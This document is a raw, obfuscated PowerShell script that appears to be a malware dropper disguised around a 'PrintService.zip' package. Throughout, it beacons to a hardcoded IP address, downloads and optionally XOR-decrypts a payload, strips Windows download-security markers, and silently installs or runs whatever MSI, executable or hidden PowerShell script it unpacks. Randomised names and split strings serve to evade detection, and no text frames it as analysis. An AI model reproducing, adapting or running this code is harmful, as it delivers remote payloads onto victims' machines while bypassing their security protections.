$jrQn = 'Silent'; $ntjr = 'lyContinue'; $ProgressPreference = ($jrQn + $ntjr); $global:ProgressPreference = $ProgressPreference try { $pzIGP = [guid]::NewGuid().ToString("N"); $cbu = "http://93.152.223.160/dl-callback/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip/" + $pzIGP $JqANm = [ordered]@{} $iTQud = "X-Panel-Callback" $bZKdo = "1" $JqANm[$iTQud] = $bZKdo Invoke-WebRequest -Uri $cbu -Headers $JqANm -UseBasicParsing -TimeoutSec 15 | Out-Null } catch { } $pUykgx = $env:TEMP New-Item -ItemType Directory -Path $pUykgx -Force | Out-Null $CEXxzw = $null function awixtxtHWAv { param([string]$u, [string]$p, [string]$n = '') $ProgressPreference = 'SilentlyContinue'; $global:ProgressPreference = 'SilentlyContinue' $destDir = Split-Path $p -Parent if ($destDir -and -not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null } Remove-Item -Path $p -Force -ErrorAction SilentlyContinue $qneu = '' $jcmUs = $false while (-not $jcmUs) { $LrDvw = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.dat') Remove-Item -Path $LrDvw -Force -ErrorAction SilentlyContinue try { & curl.exe -L -f -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0" -H "X-Panel-Internal: 1" -o $LrDvw -- $u if ($LASTEXITCODE -eq 0 -and (Test-Path $LrDvw) -and ((Get-Item $LrDvw).Length -gt 0)) { $KulSn = [IO.File]::ReadAllBytes($LrDvw) Remove-Item -Path $LrDvw -Force -ErrorAction SilentlyContinue if ($KulSn.Length -ge 2 -and $KulSn[0] -eq 0x4D -and $KulSn[1] -eq 0x5A) { [IO.File]::WriteAllBytes($p, $KulSn) } elseif ($qneu -and $KulSn.Length -gt 0) { $MwlN = if ($n) { $n } else { [IO.Path]::GetFileName($p) } $IBUm = $MwlN $MeLV = 'rx:' + $qneu + ':' + $IBUm $pqTj = New-Object System.Security.Cryptography.SHA256Managed $bCXU = $pqTj.ComputeHash([Text.Encoding]::UTF8.GetBytes($MeLV))[0..31] $qBqfH = New-Object byte[] $KulSn.Length $TliA = $bCXU.Length for ($hRa = 0; $hRa -lt $KulSn.Length; $hRa++) { $qBqfH[$hRa] = $KulSn[$hRa] -bxor $bCXU[$hRa % $TliA] } [IO.File]::WriteAllBytes($p, $qBqfH) } else { [IO.File]::WriteAllBytes($p, $KulSn) } if ((Test-Path $p) -and ((Get-Item $p).Length -gt 0)) { try { Unblock-File -Path $p -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $p -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $jcmUs = $true } } } catch { } if (-not $jcmUs) { Start-Sleep -Seconds 5 } } return ($jcmUs -and (Test-Path $p) -and ((Get-Item $p).Length -gt 0)) } function gxiRHGresdu { param([string]$p) $SxocFn = $p + "_x" try { if (Test-Path $SxocFn) { Remove-Item $SxocFn -Recurse -Force -EA 0 } } catch { } New-Item -ItemType Directory -Path $SxocFn -Force | Out-Null $xOk = $false if ([IO.Path]::GetExtension($p).ToLower() -eq ".zip" -and (-not $CEXxzw)) { try { Expand-Archive -Path $p -DestinationPath $SxocFn -Force; $xOk = $true } catch { } if (-not $xOk) { try { Add-Type -AssemblyName System.IO.Compression.FileSystem -EA 0 [IO.Compression.ZipFile]::ExtractToDirectory($p, $SxocFn) $xOk = $true } catch { } } } if (-not $xOk) { @("C:\Program Files\7-Zip\7z.exe","C:\Program Files (x86)\7-Zip\7z.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $za = "x `"$p`" -o`"$SxocFn`" -y" if ($CEXxzw) { $za += " -p`"$CEXxzw`"" } $zp = Start-Process -FilePath $_ -ArgumentList $za -Wait -PassThru -WindowStyle Hidden if ($zp.ExitCode -eq 0) { $xOk = $true } } } if (-not $xOk) { @("C:\Program Files\WinRAR\Rar.exe","C:\Program Files (x86)\WinRAR\Rar.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $ra = "x -y" if ($CEXxzw) { $ra += " -p`"$CEXxzw`"" } $ra += " `"$p`" `"$SxocFn`"" Start-Process -FilePath $_ -ArgumentList $ra -Wait -WindowStyle Hidden $xOk = $true } } $msi = Get-ChildItem -Path $SxocFn -Recurse -Filter "*.msi" -EA 0 | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length } | Select-Object -First 1 if ($msi) { $ZDdRiH = $msi.FullName if (-not (Test-Path $ZDdRiH)) { return } try { Unblock-File -Path $ZDdRiH -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $ZDdRiH -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $AEeQ = Join-Path $env:SystemRoot ("System32\" + "msi" + "exec.exe") if ($env:PROCESSOR_ARCHITECTURE -eq "x86" -and (Test-Path (Join-Path $env:SystemRoot "Sysnative\msiexec.exe"))) { $AEeQ = Join-Path $env:SystemRoot "Sysnative\msiexec.exe" } & $AEeQ /i $ZDdRiH /qn /norestart return } $exes = @(Get-ChildItem -Path $SxocFn -Recurse -Filter "*.exe" -EA 0 | Where-Object { $_.Name.ToLower() -notin @('wget.exe','curl.exe','winrar.exe','rar.exe','7z.exe','7za.exe','7zfm.exe','7zg.exe','unrar.exe','bsdtar.exe','tar.exe','expand.exe','bitsadmin.exe','setup.exe','install.exe') }) $runDir = Join-Path $SxocFn "run" if (-not (Test-Path $runDir)) { $runHit = Get-ChildItem -Path $SxocFn -Recurse -Directory -EA 0 | Where-Object { $_.Name -ieq "run" } | Select-Object -First 1 if ($runHit) { $runDir = $runHit.FullName } } if ($runDir -and (Test-Path $runDir)) { $inRunOnly = @($exes | Where-Object { $_.FullName.StartsWith($runDir, [StringComparison]::OrdinalIgnoreCase) }) if ($inRunOnly.Count -gt 0) { $exes = $inRunOnly } } $pick = $null if ($exes.Count -gt 0) { $inRun = @($exes | Where-Object { $_.FullName -match '[\\/]run[\\/]' } | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length }) if ($inRun.Count -gt 0) { $pick = $inRun[0] } if (-not $pick) { $archBase = [IO.Path]::GetFileNameWithoutExtension($p) $named = @($exes | Where-Object { $_.BaseName -like ($archBase + '*') -or $archBase -like ($_.BaseName + '*') } | Sort-Object { -$_.Length }) if ($named.Count -gt 0) { $pick = $named[0] } } if (-not $pick) { $pick = ($exes | Sort-Object { -$_.Length } | Select-Object -First 1) } } if ($pick) { $ZDdRiH = $pick.FullName if (-not (Test-Path $ZDdRiH)) { return } try { Unblock-File -Path $ZDdRiH -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $ZDdRiH -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } if (Test-Path $ZDdRiH) { Start-Process -FilePath $ZDdRiH } return } $ps1 = Get-ChildItem -Path $SxocFn -Recurse -Filter "*.ps1" -EA 0 | Select-Object -First 1 if ($ps1) { $ZDdRiH = $ps1.FullName if (-not (Test-Path $ZDdRiH)) { return } try { Unblock-File -Path $ZDdRiH -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $ZDdRiH -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } Start-Process powershell.exe -WindowStyle Hidden -ArgumentList @("-NoProfile","-ExecutionPolicy","Bypass","-File",$ZDdRiH) } } $mYJpiX = "http://93.152.223.160/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip" $gCyZWv = Join-Path $pUykgx "PrintService.zip" if (& awixtxtHWAv $mYJpiX $gCyZWv "PrintService.zip") { & gxiRHGresdu $gCyZWv }